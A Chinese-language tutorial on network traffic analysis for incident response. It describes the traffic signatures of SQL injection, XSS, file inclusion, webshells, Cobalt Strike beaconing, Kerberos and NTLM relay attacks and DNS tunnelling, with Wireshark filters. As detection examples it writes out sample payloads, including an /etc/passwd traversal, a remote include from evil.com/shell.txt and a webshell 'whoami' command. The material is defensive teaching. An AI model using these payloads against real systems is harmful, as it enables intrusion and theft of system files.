流量分析基础知识一文速通

🔍 1. 引言：流量分析的重要性

在网络安全领域，流量分析是检测攻击、溯源黑客行为、取证分析的核心技术之一。无论是 Web 攻击、内网渗透，还是协议滥用，流量数据都是最直接、最可靠的证据。

在安全事件调查中，我们通常依赖 电子四大证据：

• 📜 日志（Logs）：记录主机、网络设备、安全设备的操作历史，如 WAF、IDS/IPS 记录的攻击日志。
• 🌐 流量（Traffic）：抓取网络数据包，分析攻击者行为及 C2（命令控制）通信。
• 🧠 内存（Memory）：分析进程运行时的内容，可能包含密钥、后门、Shellcode。
• 💽 磁盘（Disk）：存储攻击者植入的 WebShell、恶意程序、凭据等关键数据。

🛠 2. 流量分析核心工具

📖 三大篇章：深入解析流量分析核心技术

📌 1. Web 安全流量分析

🔴 Web 攻击流量特征分析

常见 Web 攻击（SQLi、XSS、文件包含）具有明显的流量特征，如：

SQL 注入（SQLi）

GET /index.php?id=1 UNION SELECT 1,2,3--

• 特征：
  • 出现 UNION SELECT、OR 1=1、AND 1=1等 SQL 关键字
  • 非正常 HTTP 请求，通常伴随 500、403、200 等异常状态码
  • 访问日志中 SQL 语句异常暴露

XSS 攻击

GET /search?q=<script>alert(‘XSS’);</script>

• 特征：
  • script、onerror、<img src=x onerror=alert(1)> 等关键字
  • URL 中出现 %3Cscript%3E（URL 编码）
  • 受害者主机向攻击者 IP 发起 HTTP 请求

文件包含（LFI/RFI）

?page=../../../../../etc/passwd

• 特征：
  • URL 中 ../../ 或 /etc/passwd 关键字
  • .php?page=http://evil.com/shell.txt 远程文件包含（RFI）
  • HTTP 响应数据中泄露系统文件内容

🕵️‍♂️ WebShell 解析与解密

WebShell 主要通过 HTTP POST 进行交互，常见特征包括：

• 特征 1：POST 请求包含可疑 Payload

  POST /uploads/shell.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  cmd=whoami
  

• 特征 2：返回异常响应
  • 正常网站通常返回 200，但 WebShell 可能返回 空白页面（HTTP 204） 或 500
• 特征 3：WebShell 加密流量
  • 使用 Base64 编码，如 ZXZhbCgnbHMgLWFsJyk=（解码后为 eval('ls -al')）

✅ 检测方式：

• 结合 Wireshark + YARA 规则 扫描 WebShell 关键字
• 在 WAF 规则中 拦截异常 POST 访问

📌 2. 内网安全流量分析

🔴 常见 C2 攻击流量

Cobalt Strike 流量检测

• 特征：
  • 心跳包（Beaconing）间隔固定
  • 服务器返回伪造 404、503 状态码
• Wireshark 过滤规则

  http.request && ip.src==192.168.1.100
  

🕵️‍♂️ 横向移动流量分析

🔹 Kerberos 攻击流量

• 攻击方式：
  • AS-REP Roasting：请求未加密的 TGT 票据
  • Pass-the-Ticket（PtT）：窃取票据并伪造身份
• 流量特征

  kerberos.CnameString=="Administrator"
  

  • 大量 AS-REQ 请求
  • 目标账号可能为高权限用户

🔹 NTLM Relay 攻击

• 特征
  • NTLMSSP_AUTH 请求异常增多
  • SMB、LDAP 认证失败率升高
• 检测

  smb && ntlmssp
  

📌 3. 网络协议安全分析

🔴 协议攻击与流量分析

🕵️‍♂️ DNS 隧道检测

• 特征：
  • DNS 请求长度异常（如 Base64 编码）
  • 频繁向非标准 DNS 服务器请求
• Wireshark 过滤规则

  dns && frame.len > 300
  

🎯 结语：流量分析是安全分析的核心技能

流量分析不仅是 安全事件响应（Incident Response） 的核心，更是发现攻击、溯源黑客的重要手段。掌握 工具、协议、攻击流量特征，能让你在攻防对抗中快人一步！